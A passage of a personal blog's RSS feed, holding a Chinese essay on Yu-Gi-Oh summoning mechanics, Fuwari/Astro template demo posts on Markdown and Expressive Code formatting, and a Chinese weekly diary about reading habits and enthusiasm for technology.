&lt;p&gt;先后玩了白银城、蛇眼、转生炎兽、珠泪等卡组，作为一个只会背公式的玩家，基本是照抄b站大佬们的攻略。这游戏能经历这么多年的演化，从仪式召唤，上级召唤，融合召唤，同调召唤，超量召唤，灵摆召唤到链接召唤，游戏王设计师们的脑洞确实足够大，设计思路也是一脉相承，不像隔壁三国杀，某东吴命运线的设计那都不是开脑洞了，属于是开天眼了&lt;/p&gt;
&lt;p&gt;最近也看到B站一个up分析游戏王召唤方式的演化思路，结合他的分析我也简单列下我的思考。同调召唤其实是为了弥补仪式召唤的弱点，这两种方式都是算卡片等级的加法，但仪式召唤，不仅占用主卡位，而且必须上手仪式魔法卡，使得这一召唤方式让玩家挫败感很强，毕竟不是谁都有主角那样与卡组的羁绊。于是设计师的思路就将其挪到额外卡组，并且不再需要魔法卡的辅助，再结合小怪兽们多次特招，来弥补一回合一次的通召限制。不得不说，结合5ds，蟹哥的主角人设，就是联合弱小的力量，聚集的祈愿将会化为光芒闪耀的道路！&lt;/p&gt;
&lt;p&gt;但同调怪兽的效果又过于超模，此时设计师们自然就像去限制卡牌的效果发动次数，此时XYZ召唤，即超量召唤就诞生了，两卡叠放，发动效果拔除素材，XYZ召唤正如其名，让二维的卡牌又多了新的维度。并且正如同调召唤后续演化出了加速同调，超量召唤，也增加了升阶、多次叠放，让可玩性进一步上升。&lt;/p&gt;
&lt;p&gt;灵摆召唤则又是一次新的突破，这个玩法设计的很好，但很难设计出强度和可玩性都达标的卡片。链接召唤最开始出现是为了做减法，但后续规则的变更，又让链接怪兽成为了新的泛用卡，毕竟相比同调的凑星星，链接召唤的限制更少。&lt;/p&gt;
</content:encoded></item><item><title>Markdown Extended Features</title><link>https://rayepeng.net/posts/markdown-extended/</link><guid isPermaLink="true">https://rayepeng.net/posts/markdown-extended/</guid><description>Read more about Markdown features in Fuwari</description><pubDate>Wed, 01 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;GitHub Repository Cards&lt;/h2&gt;
&lt;p&gt;You can add dynamic cards that link to GitHub repositories, on page load, the repository information is pulled from the GitHub API.&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;Fabrizz/MMM-OnSpotify&quot;}&lt;/p&gt;
&lt;p&gt;Create a GitHub repository card with the code &lt;code&gt;::github{repo=&quot;&amp;lt;owner&amp;gt;/&amp;lt;repo&amp;gt;&quot;}&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;::github{repo=&quot;saicaca/fuwari&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Admonitions&lt;/h2&gt;
&lt;p&gt;Following types of admonitions are supported: &lt;code&gt;note&lt;/code&gt; &lt;code&gt;tip&lt;/code&gt; &lt;code&gt;important&lt;/code&gt; &lt;code&gt;warning&lt;/code&gt; &lt;code&gt;caution&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;:::note
Highlights information that users should take into account, even when skimming.
:::&lt;/p&gt;
&lt;p&gt;:::tip
Optional information to help a user be more successful.
:::&lt;/p&gt;
&lt;p&gt;:::important
Crucial information necessary for users to succeed.
:::&lt;/p&gt;
&lt;p&gt;:::warning
Critical content demanding immediate user attention due to potential risks.
:::&lt;/p&gt;
&lt;p&gt;:::caution
Negative potential consequences of an action.
:::&lt;/p&gt;
&lt;h3&gt;Basic Syntax&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;:::note
Highlights information that users should take into account, even when skimming.
:::

:::tip
Optional information to help a user be more successful.
:::
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Custom Titles&lt;/h3&gt;
&lt;p&gt;The title of the admonition can be customized.&lt;/p&gt;
&lt;p&gt;:::note[MY CUSTOM TITLE]
This is a note with a custom title.
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:::note[MY CUSTOM TITLE]
This is a note with a custom title.
:::
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GitHub Syntax&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;a href=&quot;https://github.com/orgs/community/discussions/16925&quot;&gt;The GitHub syntax&lt;/a&gt; is also supported.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [!NOTE]
&amp;gt; The GitHub syntax is also supported.

&amp;gt; [!TIP]
&amp;gt; The GitHub syntax is also supported.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Spoiler&lt;/h3&gt;
&lt;p&gt;You can add spoilers to your text. The text also supports &lt;strong&gt;Markdown&lt;/strong&gt; syntax.&lt;/p&gt;
&lt;p&gt;The content :spoiler[is hidden &lt;strong&gt;ayyy&lt;/strong&gt;]!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The content :spoiler[is hidden **ayyy**]!

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Expressive Code Example</title><link>https://rayepeng.net/posts/expressive-code/</link><guid isPermaLink="true">https://rayepeng.net/posts/expressive-code/</guid><description>How code blocks look in Markdown using Expressive Code.</description><pubDate>Wed, 10 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here, we&apos;ll explore how code blocks look using &lt;a href=&quot;https://expressive-code.com/&quot;&gt;Expressive Code&lt;/a&gt;. The provided examples are based on the official documentation, which you can refer to for further details.&lt;/p&gt;
&lt;h2&gt;Expressive Code&lt;/h2&gt;
&lt;h3&gt;Syntax Highlighting&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/syntax-highlighting/&quot;&gt;Syntax Highlighting&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Regular syntax highlighting&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;This code is syntax highlighted!&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Rendering ANSI escape sequences&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;ANSI colors:
- Regular: [31mRed[0m [32mGreen[0m [33mYellow[0m [34mBlue[0m [35mMagenta[0m [36mCyan[0m
- Bold:    [1;31mRed[0m [1;32mGreen[0m [1;33mYellow[0m [1;34mBlue[0m [1;35mMagenta[0m [1;36mCyan[0m
- Dimmed:  [2;31mRed[0m [2;32mGreen[0m [2;33mYellow[0m [2;34mBlue[0m [2;35mMagenta[0m [2;36mCyan[0m

256 colors (showing colors 160-177):
[38;5;160m160 [38;5;161m161 [38;5;162m162 [38;5;163m163 [38;5;164m164 [38;5;165m165[0m
[38;5;166m166 [38;5;167m167 [38;5;168m168 [38;5;169m169 [38;5;170m170 [38;5;171m171[0m
[38;5;172m172 [38;5;173m173 [38;5;174m174 [38;5;175m175 [38;5;176m176 [38;5;177m177[0m

Full RGB colors:
[38;2;34;139;34mForestGreen - RGB(34, 139, 34)[0m

Text formatting: [1mBold[0m [2mDimmed[0m [3mItalic[0m [4mUnderline[0m
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Editor &amp;amp; Terminal Frames&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/frames/&quot;&gt;Editor &amp;amp; Terminal Frames&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Code editor frames&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;Title attribute example&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- src/content/index.html --&amp;gt;
&amp;lt;div&amp;gt;File name comment example&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Terminal frames&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;This terminal frame has no title&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Write-Output &quot;This one has a title!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Overriding frame types&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;Look ma, no frame!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;# Without overriding, this would be a terminal frame
function Watch-Tail { Get-Content -Tail 20 -Wait $args }
New-Alias tail Watch-Tail
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Text &amp;amp; Line Markers&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/text-markers/&quot;&gt;Text &amp;amp; Line Markers&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Marking full lines &amp;amp; line ranges&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Line 1 - targeted by line number
// Line 2
// Line 3
// Line 4 - targeted by line number
// Line 5
// Line 6
// Line 7 - targeted by range &quot;7-8&quot;
// Line 8 - targeted by range &quot;7-8&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Selecting line marker types (mark, ins, del)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
  console.log(&apos;this line is marked as deleted&apos;)
  // This line and the next one are marked as inserted
  console.log(&apos;this is the second inserted line&apos;)

  return &apos;this line uses the neutral default marker type&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Adding labels to line markers&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// labeled-line-markers.jsx
&amp;lt;button
  role=&quot;button&quot;
  {...props}
  value={value}
  className={buttonClassName}
  disabled={disabled}
  active={active}
&amp;gt;
  {children &amp;amp;&amp;amp;
    !active &amp;amp;&amp;amp;
    (typeof children === &apos;string&apos; ? &amp;lt;span&amp;gt;{children}&amp;lt;/span&amp;gt; : children)}
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Adding long labels on their own lines&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// labeled-line-markers.jsx
&amp;lt;button
  role=&quot;button&quot;
  {...props}

  value={value}
  className={buttonClassName}

  disabled={disabled}
  active={active}
&amp;gt;

  {children &amp;amp;&amp;amp;
    !active &amp;amp;&amp;amp;
    (typeof children === &apos;string&apos; ? &amp;lt;span&amp;gt;{children}&amp;lt;/span&amp;gt; : children)}
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Using diff-like syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;+this line will be marked as inserted
-this line will be marked as deleted
this is a regular line
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;--- a/README.md
+++ b/README.md
@@ -1,3 +1,4 @@
+this is an actual diff file
-all contents will remain unmodified
 no whitespace will be removed either
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Combining syntax highlighting with diff-like syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;  function thisIsJavaScript() {
    // This entire block gets highlighted as JavaScript,
    // and we can still add diff markers to it!
-   console.log(&apos;Old code to be removed&apos;)
+   console.log(&apos;New and shiny code!&apos;)
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Marking individual text inside lines&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
  // Mark any given text inside lines
  return &apos;Multiple matches of the given text are supported&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Regular expressions&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;The words yes and yep will be marked.&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Escaping forward slashes&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;Test&quot; &amp;gt; /home/test.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Selecting inline marker types (mark, ins, del)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
  console.log(&apos;These are inserted and deleted marker types&apos;);
  // The return statement uses the default marker type
  return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Word Wrap&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/word-wrap/&quot;&gt;Word Wrap&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Configuring word wrap per block&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Example with wrap
function getLongString() {
  return &apos;This is a very long string that will most probably not fit into the available space unless the container is extremely wide&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;// Example with wrap=false
function getLongString() {
  return &apos;This is a very long string that will most probably not fit into the available space unless the container is extremely wide&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Configuring indentation of wrapped lines&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Example with preserveIndent (enabled by default)
function getLongString() {
  return &apos;This is a very long string that will most probably not fit into the available space unless the container is extremely wide&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;// Example with preserveIndent=false
function getLongString() {
  return &apos;This is a very long string that will most probably not fit into the available space unless the container is extremely wide&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Collapsible Sections&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/plugins/collapsible-sections/&quot;&gt;Collapsible Sections&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// All this boilerplate setup code will be collapsed



const engine = someBoilerplateEngine(evenMoreBoilerplate())

// This part of the code will be visible by default
engine.doSomething(1, 2, 3, calcFn)

function calcFn() {
  // You can have multiple collapsed sections
  const a = 1
  const b = 2
  const c = a + b

  // This will remain visible
  console.log(`Calculation result: ${a} + ${b} = ${c}`)
  return c
}

// All this code until the end of the block will be collapsed again
engine.closeConnection()
engine.freeMemory()
engine.shutdown({ reason: &apos;End of example boilerplate code&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Line Numbers&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/plugins/line-numbers/&quot;&gt;Line Numbers&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Displaying line numbers per block&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// This code block will show line numbers
console.log(&apos;Greetings from line 2!&apos;)
console.log(&apos;I am on line 3&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;// Line numbers are disabled for this block
console.log(&apos;Hello?&apos;)
console.log(&apos;Sorry, do you know what line I am on?&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Changing the starting line number&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;Greetings from line 5!&apos;)
console.log(&apos;I am on line 6&apos;)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Simple Guides for Fuwari</title><link>https://rayepeng.net/posts/index/</link><guid isPermaLink="true">https://rayepeng.net/posts/index/</guid><description>How to use this blog template.</description><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Cover image source: &lt;a href=&quot;https://image.civitai.com/xG1nkqKTMzGDvpLrqFT7WA/208fc754-890d-4adb-9753-2c963332675d/width=2048/01651-1456859105-(colour_1.5),girl,_Blue,yellow,green,cyan,purple,red,pink,_best,8k,UHD,masterpiece,male%20focus,%201boy,gloves,%20ponytail,%20long%20hair,.jpeg&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This blog template is built with &lt;a href=&quot;https://astro.build/&quot;&gt;Astro&lt;/a&gt;. For the things that are not mentioned in this guide, you may find the answers in the &lt;a href=&quot;https://docs.astro.build/&quot;&gt;Astro Docs&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Front-matter of Posts&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;---
title: My First Blog Post
published: 2023-09-09
description: This is the first post of my new Astro blog.
image: ./cover.jpg
tags: [Foo, Bar]
category: Front-end
draft: false
---
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;title&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The title of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;published&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The date the post was published.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;A short description of the post. Displayed on index page.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;image&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The cover image path of the post.&amp;lt;br/&amp;gt;1. Start with &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt;: Use web image&amp;lt;br/&amp;gt;2. Start with &lt;code&gt;/&lt;/code&gt;: For image in &lt;code&gt;public&lt;/code&gt; dir&amp;lt;br/&amp;gt;3. With none of the prefixes: Relative to the markdown file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tags&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The tags of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;category&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The category of the post.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;draft&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;If this post is still a draft, which won&apos;t be displayed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Where to Place the Post Files&lt;/h2&gt;
&lt;p&gt;Your post files should be placed in &lt;code&gt;src/content/posts/&lt;/code&gt; directory. You can also create sub-directories to better organize your posts and assets.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;src/content/posts/
├── post-1.md
└── post-2/
    ├── cover.png
    └── index.md
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>周报26 赤子之心、读书页面与对技术的追求</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A526-%E8%B5%A4%E5%AD%90%E4%B9%8B%E5%BF%83%E8%AF%BB%E4%B9%A6%E9%A1%B5%E9%9D%A2%E4%B8%8E%E5%AF%B9%E6%8A%80%E6%9C%AF%E7%9A%84%E8%BF%BD%E6%B1%82/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A526-%E8%B5%A4%E5%AD%90%E4%B9%8B%E5%BF%83%E8%AF%BB%E4%B9%A6%E9%A1%B5%E9%9D%A2%E4%B8%8E%E5%AF%B9%E6%8A%80%E6%9C%AF%E7%9A%84%E8%BF%BD%E6%B1%82/</guid><pubDate>Sun, 03 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报26 赤子之心、读书页面与对技术的追求&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcyZFUsV38Ej9XV5UQwjLsK9t56fiHJQZ5dpdXsT686w5.png&quot; alt=&quot;zhoubao26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等公交车是一件最为莫过奇妙的事情了&lt;/p&gt;
&lt;p&gt;你看着地图上明明接近了，结果半天没看到&lt;/p&gt;
&lt;p&gt;等你放弃张望了，这时它才不紧不慢地，慢悠悠地，仿佛故意气你样的开过来&lt;/p&gt;
&lt;p&gt;以前我是不太敢坐公交的，甚至有些害怕&lt;/p&gt;
&lt;p&gt;因为在老家，公交车是需要挥手招呼才会停下来的，什么时候来一辆公交车也是随机的，完全靠运气&lt;/p&gt;
&lt;p&gt;下车就更难受了，你要学着模仿大人的口气，喊出一声“下车！”，更遑论还有大爷大妈回过头来，用一种幽暗的目光盯着你，那种目光射在小孩眼里，是最难受的，因为它毫无感情，毫无温度&lt;/p&gt;
&lt;p&gt;小孩的内心是很敏感的，任何哪怕一点小事都有可能在其心中留下难以抹去的印象，这也就是所谓原生家庭，原生环境对人的影响了&lt;/p&gt;
&lt;p&gt;似乎任何一本书上，但凡涉及到所谓”突破”，”觉醒”，”宝典”之类的书籍，总是要提到，当你不再被他人的目光所影响，你就真正成熟了，长大了&lt;/p&gt;
&lt;p&gt;我是个实用主义者，我一直认为，这些写书的人，都该被斩立决，外加诛九族&lt;/p&gt;
&lt;p&gt;怎么可能不在意别人的目光呢！当一百双眼睛看向你的时候&lt;/p&gt;
&lt;p&gt;人的眼睛是最会说话的，要不然为什么那么多人研究蒙娜丽莎的微笑，那望向你的目光中，如怨如慕 如泣如诉&lt;/p&gt;
&lt;p&gt;尤其是在乡下，在老家，在一个被低维展开的城市里，你的一举一动，都要被那些左邻右舍，上亲下戚所窥探，他们的目光是能杀人的！（请参考阿Q正传）&lt;/p&gt;
&lt;p&gt;历史是由最朴素人民创造的，但我也无法承受这杀人的目光，哪怕闭上双眼，犹然如芒刺在怀&lt;/p&gt;
&lt;p&gt;一些和周报主题无瓜的想法，是为本周报序&lt;/p&gt;
&lt;p&gt;赤子之心&lt;/p&gt;
&lt;p&gt;这次开工后春茗，老板照例送给我们一段话：“不失赤子之心”&lt;/p&gt;
&lt;p&gt;（去年是“敬创造，也敬怀疑”， 前年是 “2022保持独立思考”&lt;/p&gt;
&lt;p&gt;然后就是照例会有一本总结23年业务的书了，其中我摘录了一些&lt;/p&gt;
&lt;p&gt;看到“分分捐”产品设计的时候差点类目，这应该是去年最有温度的产品了吧&lt;/p&gt;
&lt;p&gt;&amp;lt;p class=&quot;flex justify-between&quot;&amp;gt;
&amp;lt;img src=&quot;./attachments/Qmco2RY1vQirhTRMNwnpen23b3QruXmmjUk8LdmnUZUouC.jpeg&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmRnd7owcrH5Be7ZGQPQeES2aUuJHUP3naUZyXJuTdWvJj.jpeg&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/QmR1mzu9QdZb4RMS5WuqNSLQWPNWDaNHKDJKPn6Ubka5xZ.jpeg&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;img src=&quot;./attachments/Qmag1dRBzadZefxbQcD1kDReCTpNRfBhVL5aBcFDDwqTr2.jpeg&quot; width=&quot;200&quot; height=&quot;200&quot;/&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;用Notion搭建一个读书页面&lt;/p&gt;
&lt;p&gt;起因是看到了Randy搭建的一个读书乐园：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://read.lutaonan.com/preface&quot;&gt;前言 | Randy 的读书乐园 (lutaonan.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;其实我春节也在做类似的事情，但奈何春节基本都沉迷在玩p3r了🤣，导致进度缓慢&lt;/p&gt;
&lt;p&gt;Notion搭建一个读书页面还是挺简单的，除了自定义域名还比较麻烦（貌似也有解决方案在研究中&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.notion.so/da0fea51586945c6bd7b84c5587041b0?pvs=21&quot;&gt;https://rayepeng.notion.site/da0fea51586945c6bd7b84c5587041b0?v=7aa15763e05b493195750e2368af0bce&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;把自己看过的一些书摘录和书评都记录在Notion上了，突然就有了看书的动力（bushi&lt;/p&gt;
&lt;p&gt;昨天看到内部论坛有人提了一个问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;看过很多提高阅读速度的方法，感觉都提不上来，可能是因为方法不对吧。求问有没有提高阅读速度的方法？或者有没有书籍、文章可以推荐？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;想不到我对这个问题还挺有看法的，于是就一口气写了答案&lt;/p&gt;
&lt;p&gt;其实如果只看文字不加理解的话，你的阅读速度是可以达到很快的🐶&lt;/p&gt;
&lt;p&gt;但是要搭配上对文字的理解，整体速度自然就会慢下来了，但这并不是你的问题，不妨先想想&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;为什么要提高阅读速度，是否受那些所谓“自律”的博主影响，比如一年读完几百本书的，一周读完几十本书的...看着就让我反胃&lt;/li&gt;
&lt;li&gt;选择的书籍本身也会影响你的阅读速度，就我个人经验来说，哪怕是名家写的文章，有时候一段话读个半天也不知道要讲什么，更遑论很多作者人称指代不明确，以及糟糕的翻译质量... 有些文字就是要慢读，有些口水文就是可以读很快，爽文甚至可以快到飞起🐶&lt;/li&gt;
&lt;li&gt;重新回到问题，我们看国产剧的时候，某些片段其实跳过对于理解剧情没有任何影响（哪怕《繁花》我也有部分是跳过去看的），读书不也可以这样么，一些无关的段落跳过，一些章节也可以跳过，反正书就在那里，没看懂回过头去看不就好了（这一点纸质书其实比较有优势，我以前读纸书就喜欢跳着看结尾哈哈哈🐶&lt;/li&gt;
&lt;li&gt;更进一步，AI对于阅读已经有很大帮助了，微信读书的AI大纲还挺好用的，助力快速阅读max🐶&lt;/li&gt;
&lt;li&gt;最后，名家的作品还是需要慢慢来读的，毕竟语言的魅力就在于细细的品读，人家写篇文章都要花那么长时间推敲，你花个人家一半的时间来阅读一下怎么了？🐶&lt;/li&gt;
&lt;li&gt;最后的最后，不妨多花点时间看看吧，勤能补拙，读得慢有读得慢的好处，如果想要快速吸收知识，那我选择三分钟短视频速读然后去装X 🐶&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;工作久了，看待问题的思路也发生了变化，往往会习惯性去问一个为什么。这时候的思路一下就开阔了许多。&lt;/p&gt;
&lt;p&gt;对技术的追求&lt;/p&gt;
&lt;p&gt;摘录一段p牛的话：&lt;/p&gt;
&lt;p&gt;原文链接： &lt;a href=&quot;https://www.leavesongs.com/THINK/Third-year-story.html&quot;&gt;三年 | 离别歌 (leavesongs.com)&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;经常有人问我，我是怎么成长起来的。我今天在这里分享一个最简单的答案：对技术，我是有目标的，我的目标很简单，就是让我的博客不停更。如果有一段时间我博客一个月没有新文章，我就会特别着急，我会想我能研究什么东西，然后写一篇日记。&lt;/p&gt;
&lt;p&gt;当然，慢慢的我发现，自己经常会有时间研究各种东西（不用愁没有东西写），当然也会失败，失败并不可怕，可怕的是没有竭尽全力就半途而废。我也做过很多半途而废的事情，也说过很多不负责的言论，但这些点滴都在我的博客里我永远不会删。&lt;/p&gt;
&lt;p&gt;安全界有个很知名的理论：“不能够相信用户的所有输入”，但我坚决不支持这句话被放到现实生活中，我选择相信而不是怀疑。怀疑的生活会变得很累，如果你总是考虑怎样去防范他人。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;上周二，我导师也在日常吹水群里转发了一篇文章链接《C++17在业务代码中最好用的十个特性》，并@我们这些小鲜肉们：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;人老了就学不进去。。。 @所有人 鲜肉们是这样吗？现在可还有兴趣学这个 ？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我导师的观点是，现在看到这些已经没有什么兴趣了，直接自动划走，工作里也用不到，接着他又反问了一个问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;但讲道理，我们都是后台开发，为啥看到 cpp 多少多少个特性，会绕开呢，，想一想，是不是底层的畏难情绪？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我：日常开发确实很难用到这些C++特性吧，但如果换成是JS的十个特性，我绝对会很兴奋的&lt;/p&gt;
&lt;p&gt;我导师还是挺好玩的，对于新技术一直抱有激情，他回想起刚毕业那段时间，对这些底层知识还是很感觉兴趣的，windows 核心编程看了好几遍，以及 unix 高级编程等等&lt;/p&gt;
&lt;p&gt;曾几何时（我偏要用错这个成语🐶），大学时候的我们还立志要啃完那些龙书虎书X书&lt;/p&gt;
&lt;p&gt;现在变成了天天写C代码，一年到头也手写不了几个class&lt;/p&gt;
&lt;p&gt;重载 ? no
继承 ? no
多态 ? no
sql 性能调优 ? no
编译原理 ? no
系统编程 ? no
....&lt;/p&gt;
&lt;p&gt;这几天也承担了面试实习生的工作，我在面试他们到时候，偶尔也会思考下比我还小的鲜肉们是什么心态，他们恐怕现在正如同我当年，怀揣着对技术的一腔热火，在工作后的几年里快速地被浇灭吧&lt;/p&gt;
&lt;p&gt;但我还是愿意相信，面对这些新颖的技术名词，我总还是会爆发出一些热情的，毕竟做技术的人都有着类似登山一样的壮志：因为它就在那里&lt;/p&gt;
&lt;p&gt;读书会——美国增长的起落&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmTpsHqZ3WoiMTamQsecjhjzSQG8mE9zjT2hmaNe4CC1Tz.jpeg&quot; alt=&quot;Untitled 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主讲人是香港人（普通话确实不太标准哦🤣）而且他讲的内容，基本都是书中的摘录，极其零散。尤其是没有做任何的铺垫，纯纯的干讲。&lt;/p&gt;
